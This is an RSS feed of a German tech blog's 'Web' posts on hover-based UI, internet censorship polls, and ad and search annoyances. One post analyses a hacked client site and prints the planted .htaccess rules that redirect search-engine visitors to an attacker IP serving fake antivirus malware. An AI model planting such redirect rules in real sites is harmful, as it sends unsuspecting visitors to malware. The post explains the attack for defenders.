<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Gedankenkrümel &#187; Web</title>
	<atom:link href="http://blog.hoffart.de/category/web/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.hoffart.de</link>
	<description>Götz Hoffart</description>
	<lastBuildDate>Tue, 17 May 2011 19:51:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Hover ist raus</title>
		<link>http://blog.hoffart.de/2010/01/28/hover-ist-raus/</link>
		<comments>http://blog.hoffart.de/2010/01/28/hover-ist-raus/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 10:28:32 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Hover]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[WAI]]></category>
		<category><![CDATA[Web 2.0]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=157</guid>
		<description><![CDATA[Schon öfter votierte ich in Diskussionen rund um größere Web-Projekte Kunden gegenüber kontra Hover-gesteuerte Benutzerführungen. Meine Gründe für die Ablehnung von »Hover« als gestaltende Steuerung sind vielfältig: Die überraschenden Effekte, wenn man »nur mal schnell mit der Maus da rüber fährt« um etwas ganz anderes zu tun, aber durch das überstreichen (hovern) Aktionen auf der [...]]]></description>
			<content:encoded><![CDATA[<p>Schon öfter votierte ich in Diskussionen rund um größere Web-Projekte Kunden gegenüber kontra Hover-gesteuerte Benutzerführungen. Meine Gründe für die Ablehnung von »Hover« als gestaltende Steuerung sind vielfältig:</p>
<ol>
<li>Die überraschenden Effekte, wenn man »nur mal schnell mit der Maus da rüber fährt« um etwas ganz anderes zu tun, aber durch das überstreichen (hovern) Aktionen auf der Website unabsichtlich auslöst. Vor allem unerfahrene Benutzer sind dann irritiert&nbsp;- zu Recht, denn die typischen Betriebssysteme (Windows, Mac OS X, Gnome/KDE) erziehen zum »zeigen und klicken«, d.h. ein Klick löst eine Aktion aus, nicht ein überstreichen.</li>
<li>Für Hardcore-Nutzer sind Hover-Effekte schwer per Tastatur zu steuern, gleiches gilt für Leute mit Einschränkungen, seien sie durch Eingabegeräte vorgegeben oder körperlich bedingt. Grafik-Tabletts kennen ein »Hover« seltenst, und ein »überstreichen« ist auch nur bei relativer Mauszeiger-Positionierung gut zu handhaben, nicht bei absoluter. Auch mit Kopfmäusen ist ein »Hover« schwer in den Griff zu bekommen.</li>
<li>Geräte wie das iPhone sind durch ein Touchdisplay zu steuern&nbsp;– auch dieses kennt, wie die meisten Grafik-Tabletts, natürlich kein »Hover«, da man nicht mit dem Finger über dem Display schwebend steuern will. Die Wahrscheinlichkeit der ungewollten Fehlbedienung wäre sehr hoch.</li>
</ol>
<p>In den genannten Diskussionen hörte ich öfter ein »ja, schon« auf meine Einwände und Alternativ-Vorschläge, wie die Bedienung erfolgen könne. »Aber wer hat schon ein Grafik-Tablett« oder »niemand surft ernsthaft mit dem iPhone«, eventuell garniert mit »Tablet-PCs haben sich nie durchgesetzt«.</p>
<p>Die Summe meiner Argumente war zwar stark, das einzelne Argument für sich alleine war aber in den Augen vieler Kunden schwach.</p>
<p>Ich denke, dass mit dem neuen iPad von Apple die allgemeine Akzeptanz des Arguments »hover ist raus« nun steigt. Danke, Apple.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2010/01/28/hover-ist-raus/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bewährte Methoden?</title>
		<link>http://blog.hoffart.de/2009/06/18/bewaehrte-methoden/</link>
		<comments>http://blog.hoffart.de/2009/06/18/bewaehrte-methoden/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 18:14:20 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Politik]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Stop]]></category>
		<category><![CDATA[von der Leyen]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=120</guid>
		<description><![CDATA[Ursula von der Leyen sollte ihre Vorgehensweise gegen Kinderpornographie im Web mal anderen Ministerien näher erläutern, so bekommen wir bestimmt noch viele andere Probleme schnell und billig „gelöst“: Quelle]]></description>
			<content:encoded><![CDATA[<p>Ursula von der Leyen sollte ihre Vorgehensweise gegen Kinderpornographie im Web mal anderen Ministerien näher erläutern, so bekommen wir bestimmt noch viele andere Probleme schnell und billig „gelöst“:</p>
<p><img src="http://blog.hoffart.de/wp-content/uploads/2009/06/zensursula1.jpg" alt="Zensursula stoppt Obdachlosigkeit" title="Zensursula stoppt nun auch Obdachlosigkeit" width="378" height="243" class="alignnone size-full wp-image-121 gray-border" /></p>
<p><a href="http://www.mediengestalter.cc/2009/06/17/allgemein/zensursula-aus-designersicht/">Quelle</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2009/06/18/bewaehrte-methoden/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fehlgeleitet: Webseiten-Schädlingsbefall</title>
		<link>http://blog.hoffart.de/2009/06/18/fehlgeleitet-webseiten-schaedlingsbefall/</link>
		<comments>http://blog.hoffart.de/2009/06/18/fehlgeleitet-webseiten-schaedlingsbefall/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 09:50:38 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[Botnetz]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[Schädling]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=117</guid>
		<description><![CDATA[Bei einer Analyse einer Kunden-Domain fiel die .htaccess-Datei ins Auge: RewriteEngine On RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC] RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L] Sie stammt nicht vom Kunden, sondern ein Cracker hatte sich die FTP-Zugangsdaten per trojanischem Pferd [...]]]></description>
			<content:encoded><![CDATA[<p>Bei einer Analyse einer Kunden-Domain fiel die .htaccess-Datei ins Auge:</p>
<p><code><br />
RewriteEngine On<br />
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]<br />
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]<br />
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]<br />
</code></p>
<p>Sie stammt nicht vom Kunden, sondern ein Cracker hatte sich die FTP-Zugangsdaten per trojanischem Pferd vom Windows-Rechner des Kunden erschlichen. Mit diesen Zugangsdaten wurde dann obige .htaccess-Datei auf den Kunden-Webspace hochgeladen, außerdem auch einige Casino-/Porno-Links in einen &lt;noframes&gt;-Bereich der Webseite untergebracht.</p>
<p>Das perfide ist aber die .htaccess-Datei. Sie weist das Apache-Modul mod_rewrite an bei eingehenden Anforderungen an den Webserver zu prüfen, von wo der Surfer kommt (HTTP_REFERER). Hat der Surfer einen harmlosen Treffer auf einer Suchmaschinenseite angeklickt, die zu eben jener Kundenpräsenz führt, dann greifen obige Regeln: Kommt man von *oogle.*, *aol.* etc., dann greift die letzte Zeile mit der Regel (RewriteRule): Umleiten des Surfers auf die angegebene Adresse 87.248.180.89. Somit bekommt man bspw. von Google aus einen Treffer zu Brotbackautomaten, den man anklickt, landet aber nach dem Klick nicht auf der Brotbackautomaten-Seite, sondern auf der Seite des Schädlingsautors.</p>
<p>Dort war bisher eine Website zu finden, die in der Aufmachung an einen Virenscanner unter Windows XP erinnerte. Elemente waren so gezeichnet, dass sie wie Windows-Fenster aussahen. Dazu wurden Icons von Festplattenlaufwerken C: und D: eingeblendet und ein Fortschrittsbalken, der einen Überprüfungsvorgang der vermeintlichen Antiviren-Software aussah.</p>
<p>Und natürlich fand diese angebliche Überprüfung der angeblich eigenen Festplatte dann auch gleich Treffer: eine Warnmeldung schlug vor, gegen den gerade gefundenen Virus doch gleich das Gegenmittel herunterzuladen und zu starten.</p>
<p>Wenn man das dann getan hätte, hätte sich der Kreis geschlossen: ein weiterer PC wäre mit einem Schädling befallen gewesen, der dann im Hintergrund und unauffällig alles mit Windows hätte tun können: Tastatureingaben mitlesen und nach draußen übermitteln, als Spam-Drohne dienen (im Auftrag von anderen hätte der eigene PC dann unbemerkt Spam-Mails versandt) und/oder Teil eines Bot-Netzes zu werden.</p>
<p>Der Provider der Schädlingsseite hat nun den Webspace gelöscht oder abgedreht, die Seite ist nicht mehr erreichbar.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2009/06/18/fehlgeleitet-webseiten-schaedlingsbefall/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Babel fish ist nicht Babelfisch</title>
		<link>http://blog.hoffart.de/2009/05/31/babelfish-ist-nicht-babelfisch/</link>
		<comments>http://blog.hoffart.de/2009/05/31/babelfish-ist-nicht-babelfisch/#comments</comments>
		<pubDate>Sun, 31 May 2009 14:58:56 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=111</guid>
		<description><![CDATA[Babelfish nutzte ich schon gerne zu Altavistas Zeiten, der neue Eigner Yahoo scheint dem Tierchen jedoch nicht seine gewohnte Nahrung zu geben: externe Gehirnwellen. Nur so ist zu erklären, dass wirr erscheint seine Ausgabe: (Und, unter uns: meine Anfrage war nicht fehlerhaft.)]]></description>
			<content:encoded><![CDATA[<p>Babelfish nutzte ich schon gerne zu Altavistas Zeiten, der neue Eigner Yahoo scheint dem Tierchen jedoch nicht seine gewohnte Nahrung zu geben: <a href="http://de.wikipedia.org/wiki/Babelfisch">externe Gehirnwellen</a>. Nur so ist zu erklären, dass wirr erscheint seine Ausgabe:</p>
<p><img src="http://blog.hoffart.de/wp-content/uploads/2009/05/yahoo-babelfish-blurp.png" alt="Yahoo: Babelfish-Blurp" title="Yahoo: Babelfish-Blurp" width="450" height="149" class="alignnone size-full wp-image-112 gray-border" /></p>
<p>(Und, unter uns: meine <em>Anfrage</em> war nicht fehlerhaft.)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2009/05/31/babelfish-ist-nicht-babelfisch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ins Leere geworben</title>
		<link>http://blog.hoffart.de/2009/05/31/ins-leere-geworben/</link>
		<comments>http://blog.hoffart.de/2009/05/31/ins-leere-geworben/#comments</comments>
		<pubDate>Sun, 31 May 2009 14:51:21 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Amazon]]></category>
		<category><![CDATA[Werbung]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=103</guid>
		<description><![CDATA[Ich dachte immer, Werbung solle (ggfs. langfristig) Kunden dazu bringen, die beworbenen Produkte zu kaufen. Offenbar eine altmodische Sichtweise. Heute wirbt man und will dann gar nicht verkaufen! Das muss eine moderne Maßnahme zur Steigerung der Marken^WBrand-Awareness sein, von der ich keine Ahnung habe. Bei der Suche nach Intels neuem D945GSEJT-Mainboard stieß ich auf die [...]]]></description>
			<content:encoded><![CDATA[<p>Ich dachte immer, Werbung solle (ggfs. langfristig) Kunden dazu bringen, die beworbenen Produkte zu kaufen.</p>
<p>Offenbar eine altmodische Sichtweise. Heute wirbt man und will dann gar nicht verkaufen! Das muss eine moderne Maßnahme zur Steigerung der Marken^WBrand-Awareness sein, von der ich keine Ahnung habe.</p>
<p>Bei der Suche nach Intels neuem D945GSEJT-Mainboard stieß ich auf die Werbeanzeige:</p>
<p><img src="http://blog.hoffart.de/wp-content/uploads/2009/05/amazon-intel-d945gsejt-1.png" title="Amazons Werbung für das Intel D945GSEJT" width="188" height="86" class="size-full wp-image-104 gray-border" /></p>
<p>Das war ja genau, was ich suchte! Und da sonst wenig verwertbare Treffer bei Google zu finden waren, klickte ich darauf, um zu erfahren …</p>
<p><img src="http://blog.hoffart.de/wp-content/uploads/2009/05/amazon-intel-d945gsejt-2.png" alt="Amazon-Treffer für Intel D945GSEJT" title="Amazon-Treffer für Intel D945GSEJT" width="444" height="153" class="alignnone size-full wp-image-105 gray-border" /></p>
<p>Aber <a href="http://blog.hoffart.de/2008/07/29/googleads-geld-zum-fenster-hinaus/">Außer Spesen nichts gewesen</a> scheint en vogue zu sein.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2009/05/31/ins-leere-geworben/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web-Zensur: Suggestivfragen stützten von-der-Leyen-Vorschlag</title>
		<link>http://blog.hoffart.de/2009/05/20/web-zensur-suggestivfragen-stuetzten-von-der-leyen-vorschlag/</link>
		<comments>http://blog.hoffart.de/2009/05/20/web-zensur-suggestivfragen-stuetzten-von-der-leyen-vorschlag/#comments</comments>
		<pubDate>Wed, 20 May 2009 13:18:16 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Politik]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Internet-Zensur]]></category>
		<category><![CDATA[Sicherwahn]]></category>
		<category><![CDATA[von der Leyen]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=93</guid>
		<description><![CDATA[Die gerade durch die Presse gerauschten 92% der Bundesbürger, die sich für den von-der-Leyen-Vorschlag für Internet-Zensur (die dort so natürlich nicht genannt wurde) ausgesprochen haben, kamen nicht unwesentlich durch Suggestiv-Fragen der in Auftrag gebenden „Deutschen Kinderhilfe“ zustande. Der Verein „Mogis – Missbrauchsopfer gegen Internetsperren“ gab beim selben Umfrageinstitut (Infratest Dimap) eine Umfrage zum selben Thema, [...]]]></description>
			<content:encoded><![CDATA[<p>Die gerade durch die Presse gerauschten 92% der Bundesbürger, die sich für den von-der-Leyen-Vorschlag für Internet-Zensur (die dort so natürlich nicht genannt wurde) ausgesprochen haben, kamen nicht unwesentlich durch Suggestiv-Fragen der in Auftrag gebenden „Deutschen Kinderhilfe“ zustande.</p>
<p>Der Verein „Mogis – Missbrauchsopfer gegen Internetsperren“ gab beim selben Umfrageinstitut (Infratest Dimap) eine Umfrage zum selben Thema, aber mit anders formulierten Fragen in Auftrag.</p>
<p>Schon wurden aus der Zustimmung von 92% für die Fragestellung <cite>„Die Bundesregierung plant ein Gesetz zur Sperrung von kinderpornographischen Seiten im Internet. Kritiker befürchten eine Zensur und bezweifeln die Wirksamkeit solcher Sperren. Befürworter betonen dagegen, dass solche Sperren eine sinnvolle und wirksame Maßnahme gegen die Verbreitung solcher Bilder sind. Wie sehen Sie das: Sind Sie für ein Gesetz zur Sperrung kinderpornographischer Seiten im Internet oder dagegen?“</cite> nur noch 5% (Zustimmung zur Aussage <cite>„Der Zugang zu Internetseiten mit Kinderpornographie sollte durch eine Sperre erschwert werden, das reicht aus, auch wenn die Seiten selbst dann noch vorhanden und für jedermann erreichbar sind.“</cite>)</p>
<p>Waren in der ersten Umfrage über 90% für Netzsperren, ist es in der zweiten Umfrage genau umgekehrt.</p>
<p>Ein Sachbeitrag zur Debatte war die Umfrage der Deutschen Kinderhilfe somit nicht.</p>
<p>Quelle: <a href="http://www.zeit.de/online/2009/22/netzsperren-umfrage?page=all">ZEIT-Artikel vom 20.5.2009, 13:09 Uhr</a></p>
<p><small>Wer die Suggestion im Titel findet, darf sie behalten.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2009/05/20/web-zensur-suggestivfragen-stuetzten-von-der-leyen-vorschlag/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alles wiederholt sich</title>
		<link>http://blog.hoffart.de/2008/10/11/alles-wiederholt-sich/</link>
		<comments>http://blog.hoffart.de/2008/10/11/alles-wiederholt-sich/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 14:51:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=22</guid>
		<description><![CDATA[In der EDV kennt man es: alles längst erledigt geglaubte kehrt wieder. In der ach so innovationsgetriebenen Branche ist mir das ein kleiner Trost. In der Prä-Google-Ära watete man durch Myriaden von irrelevanten Treffern, die man mittels Metasuchmaschinen aggregiert geliefert bekam. Dann kam Google und lieferte relevant(er)es. Zusammen mit der sparsamen Oberfläche eroberte es die [...]]]></description>
			<content:encoded><![CDATA[<p>In der EDV kennt man es: alles längst erledigt geglaubte kehrt wieder. In der ach so innovationsgetriebenen Branche ist mir das ein kleiner Trost.</p>
<p>In der Prä-Google-Ära watete man durch Myriaden von irrelevanten Treffern, die man mittels Metasuchmaschinen aggregiert geliefert bekam. Dann kam Google und lieferte relevant(er)es. Zusammen mit der sparsamen Oberfläche eroberte es die Welt.</p>
<p>Nun suchte ich bei Google nach „ZyXEL ISDN TA omni.net“, da mich die technischen Spezifikationen interessierten. Beim Anblick der ersten Trefferlistenseite fühlte ich mich sofort an 1998 erinnert: Preisvergleich.de, Dooyoo, Amazon, Idealo, Ciao, Twenga, Misco, Preisroboter, Treiberdownload-Seiten. Dazwischen fast schon verschämt eine ZyXEL-Seite, die nicht paßt. Seufz.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2008/10/11/alles-wiederholt-sich/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GoogleAds: Geld zum Fenster hinaus</title>
		<link>http://blog.hoffart.de/2008/07/29/googleads-geld-zum-fenster-hinaus/</link>
		<comments>http://blog.hoffart.de/2008/07/29/googleads-geld-zum-fenster-hinaus/#comments</comments>
		<pubDate>Tue, 29 Jul 2008 15:10:56 +0000</pubDate>
		<dc:creator>Götz Hoffart</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Banner]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[GoogleAds]]></category>
		<category><![CDATA[Netware]]></category>
		<category><![CDATA[Novell]]></category>
		<category><![CDATA[Werbung]]></category>

		<guid isPermaLink="false">http://blog.hoffart.de/?p=15</guid>
		<description><![CDATA[Ich klicke ja durchaus auf Google-Werbeeinblendungen auf Websites, wenn mich das Thema interessiert. Als ich in Google Groups nach einer alten Anfrage von mir zum Thema Netware 3.12 suchte, fand ich auf einer Trefferseite GoogleAds-Werbung mit dem Text: Lizenzen für 3.12 , 4.1 4.2 , 5.0 , 5.1 , 6.0 , OES2 und alle Small [...]]]></description>
			<content:encoded><![CDATA[<p>Ich klicke ja durchaus auf Google-Werbeeinblendungen auf Websites, wenn mich das Thema interessiert.</p>
<p>Als ich in Google Groups nach einer alten Anfrage von mir zum Thema Netware 3.12 suchte, fand ich auf einer <a href="http://newsgroups.derkeiler.com/Archive/De/de.comp.sys.novell/2005-10/msg00027.html">Trefferseite</a> GoogleAds-Werbung mit dem Text:</p>
<blockquote><p>Lizenzen für 3.12 , 4.1<br />
4.2 , 5.0 , 5.1 , 6.0 , OES2 und alle Small Business Versionen<br />
www.alte-netware.de
</p></blockquote>
<p>Das interessierte mich &#8211; ich würde gerne noch ein paar Netware 3.12 User für Services for Macintosh nachkaufen. &lt;klick&gt; Und schon landet man auf <a href="http://www.alte-netware.de/">www.alte-netware.de</a>. </p>
<p>Schade nur, dass man da dann ein <em>404 Page not found</em> erhält. So hat Google jetzt ein paar Cent mehr und der Betreiber von alte-netware.de ein paar weniger. Ohne was davon zu haben. Das ist Werbegeld, das wirklich zum Fenster rausgeworfen ist.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hoffart.de/2008/07/29/googleads-geld-zum-fenster-hinaus/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  blog.hoffart.de/category/web/feed/ ) in 0.12944 seconds, on Feb 4th, 2012 at 5:24 pm UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Feb 4th, 2012 at 7:24 pm UTC -->
